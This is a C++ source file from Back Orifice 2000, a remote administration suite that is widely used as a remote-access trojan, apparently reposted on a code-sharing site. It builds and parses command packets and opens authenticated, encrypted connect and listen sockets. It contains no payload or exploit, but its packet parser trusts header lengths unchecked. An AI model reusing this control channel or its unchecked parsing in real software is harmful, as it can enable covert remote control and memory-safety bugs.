commnet.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:6k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // BO2K Command Networking Util Functions
  16. #include<windows.h>
  17. #include<auth.h>
  18. #include<iohandler.h>
  19. #include<encryption.h>
  20. #include<commnet.h>
  21. extern CIOHandler *g_pIOHandler;
  22. extern CEncryptionHandler *g_pEncryptionHandler;
  23. extern CAuthHandler *g_pAuthHandler;
  24. void BreakDownCommand(BYTE *pInBuffer, int *cmdlen, int *command, int *comid, int *nArg1, char **svArg2, char **svArg3)
  25. {
  26. struct bo_command_header *hdr;
  27. hdr=(struct bo_command_header *)pInBuffer;
  28. *cmdlen=hdr->cmdlen;
  29. *command=hdr->command;
  30. *comid=hdr->comid;
  31. *nArg1=hdr->nArg1;
  32. if(hdr->nArg2Len>0) {
  33. *svArg2=(char *)(pInBuffer+sizeof(struct bo_command_header));
  34. } else *svArg2=NULL;
  35. if(hdr->nArg3Len>0) {
  36. *svArg3=(char *)(pInBuffer+sizeof(struct bo_command_header)+hdr->nArg2Len);
  37. } else *svArg3=NULL;
  38. }
  39. BYTE *BuildCommandRequest(int command, int comid, int nArg1, char *svArg2, char *svArg3, int *pnReqLen)
  40. {
  41. BYTE *buffer;
  42. struct bo_command_header *hdr;
  43. int buflen,nArg2Len,nArg3Len;
  44. buflen=sizeof(struct bo_command_header) + sizeof(int);
  45. nArg2Len=0;
  46. nArg3Len=0;
  47. if(svArg2!=NULL) {
  48. nArg2Len = (lstrlen(svArg2)+1);
  49. buflen += nArg2Len;
  50. }
  51. if(svArg3!=NULL) {
  52. nArg3Len = (lstrlen(svArg3)+1);
  53. buflen += nArg3Len;
  54. }
  55. buffer=(BYTE *) malloc(buflen);
  56. if(buffer==NULL) {
  57. *pnReqLen=0;
  58. return NULL;
  59. }
  60. memset(buffer,0,buflen);
  61. hdr=(struct bo_command_header *)buffer;
  62. hdr->cmdlen=buflen;
  63. hdr->comid=comid;
  64. hdr->command=command;
  65. hdr->flags=CMDFLAG_COMMAND;
  66. hdr->nArg1=nArg1;
  67. hdr->nArg2Len=nArg2Len;
  68. hdr->nArg3Len=nArg3Len;
  69. if(svArg2!=NULL) {
  70. lstrcpyn((char *)buffer+sizeof(struct bo_command_header),svArg2,nArg2Len);
  71. }
  72. if(svArg3!=NULL) {
  73. lstrcpyn((char *)buffer+sizeof(struct bo_command_header)+nArg2Len,svArg3,nArg3Len);
  74. }
  75. *pnReqLen=buflen;
  76. return buffer;
  77. }
  78. BYTE *BuildCommandReply(int comid, int nReplyCode, char *svReply, int *pnReqLen)
  79. {
  80. BYTE *buffer;
  81. struct bo_command_header *hdr;
  82. int buflen,nReplyLen;
  83. buflen=sizeof(struct bo_command_header) + sizeof(int);
  84. nReplyLen=0;
  85. if(svReply!=NULL) {
  86. nReplyLen = (lstrlen(svReply)+1);
  87. buflen += nReplyLen;
  88. }
  89. buffer=(BYTE *) malloc(buflen);
  90. if(buffer==NULL) {
  91. *pnReqLen=0;
  92. return NULL;
  93. }
  94. memset(buffer,0,buflen);
  95. hdr=(struct bo_command_header *)buffer;
  96. hdr->cmdlen=buflen;
  97. hdr->comid=comid;
  98. hdr->command=-1;
  99. hdr->flags=CMDFLAG_REPLY;
  100. hdr->nArg1=nReplyCode;
  101. hdr->nArg2Len=nReplyLen;
  102. hdr->nArg3Len=0;
  103. if(svReply!=NULL) {
  104. lstrcpyn((char *)buffer+sizeof(struct bo_command_header),svReply,nReplyLen);
  105. }
  106. *pnReqLen=buflen;
  107. return buffer;
  108. }
  109. void FreeCommandMemory(BYTE *pCmd)
  110. {
  111. free(pCmd);
  112. }
  113. int IssueAuthCommandRequest(CAuthSocket *cas_from, int command, int comid, int nArg1, char *svArg2, char *svArg3)
  114. {
  115. BYTE *buf;
  116. int buflen,ret;
  117. if(cas_from==NULL) return 0;
  118. buf=BuildCommandRequest(command, comid, nArg1, svArg2, svArg3, &buflen);
  119. ret=cas_from->Send(buf,buflen);
  120. FreeCommandMemory(buf);
  121. return ret;
  122. }
  123. int IssueAuthCommandReply(CAuthSocket *cas_from, int comid, int nReplyCode, char *svReply)
  124. {
  125. BYTE *buf;
  126. int buflen,ret;
  127. if(cas_from==NULL) return 0;
  128. buf=BuildCommandReply(comid, nReplyCode, svReply, &buflen);
  129. ret=cas_from->Send(buf,buflen);
  130. FreeCommandMemory(buf);
  131. return ret;
  132. }
  133. CAuthSocket *CreateAuthSocket(char *svRNetMod, char *svREncryption, char *svRAuth)
  134. {
  135. IO_HANDLER *pioh=g_pIOHandler->GetHandlerByID(svRNetMod);
  136. if(pioh==NULL) return NULL;
  137. ENCRYPTION_ENGINE *peh=g_pEncryptionHandler->GetEngineByID(svREncryption);
  138. if(peh==NULL) return NULL;
  139. AUTH_HANDLER *pah=g_pAuthHandler->GetHandlerByID(svRAuth);
  140. if(pah==NULL) return NULL;
  141. CAuthSocket *pcas=new CAuthSocket(pah,pioh,peh);
  142. if(pcas==NULL) return NULL;
  143. return pcas;
  144. }
  145. CAuthSocket *ConnectAuthSocket(INTERACTIVE_CONNECT *pIC, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth)
  146. {
  147. char svRNetMod[256];
  148. char svRBindStr[256];
  149. char svREncryption[256];
  150. char svRAuth[256];
  151. if(pIC!=NULL) {
  152. if((*pIC)(hParent,svBindStr,svNetMod,svEncryption,svAuth,svRBindStr,svRNetMod,svREncryption,svRAuth)<0)
  153. return NULL;
  154. } else {
  155. if(svNetMod==NULL || svBindStr==NULL || svEncryption==NULL || svAuth==NULL) return NULL;
  156. lstrcpyn(svRNetMod,svNetMod,256);
  157. lstrcpyn(svRBindStr,svBindStr,256);
  158. lstrcpyn(svREncryption,svEncryption,256);
  159. lstrcpyn(svRAuth,svAuth,256);
  160. }
  161. CAuthSocket *pcas=CreateAuthSocket(svRNetMod,svREncryption,svRAuth);
  162. if(pcas==NULL) return (CAuthSocket *)0xFFFFFFFF;
  163. if(pcas->Connect(svRBindStr,nUserId)<0) {
  164. delete pcas;
  165. return (CAuthSocket *)0xFFFFFFFF;
  166. }
  167. return pcas;
  168. }
  169. CAuthSocket *ListenAuthSocket(INTERACTIVE_LISTEN *pIL, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth)
  170. {
  171. char svRNetMod[256];
  172. char svRBindStr[256];
  173. char svREncryption[256];
  174. char svRAuth[256];
  175. if(pIL!=NULL) {
  176. if((*pIL)(hParent,svBindStr,svNetMod,svEncryption,svAuth,svRBindStr,svRNetMod,svREncryption,svRAuth)<0)
  177. return NULL;
  178. } else {
  179. if(svNetMod==NULL || svBindStr==NULL || svEncryption==NULL || svAuth==NULL) return NULL;
  180. lstrcpyn(svRNetMod,svNetMod,256);
  181. lstrcpyn(svRBindStr,svBindStr,256);
  182. lstrcpyn(svREncryption,svEncryption,256);
  183. lstrcpyn(svRAuth,svAuth,256);
  184. }
  185. CAuthSocket *pcas=CreateAuthSocket(svRNetMod,svREncryption,svRAuth);
  186. if(pcas==NULL) return (CAuthSocket *)0xFFFFFFFF;
  187. if(pcas->Listen(svRBindStr,nUserId)<0) {
  188. delete pcas;
  189. return (CAuthSocket *)0xFFFFFFFF;
  190. }
  191. return pcas;
  192. }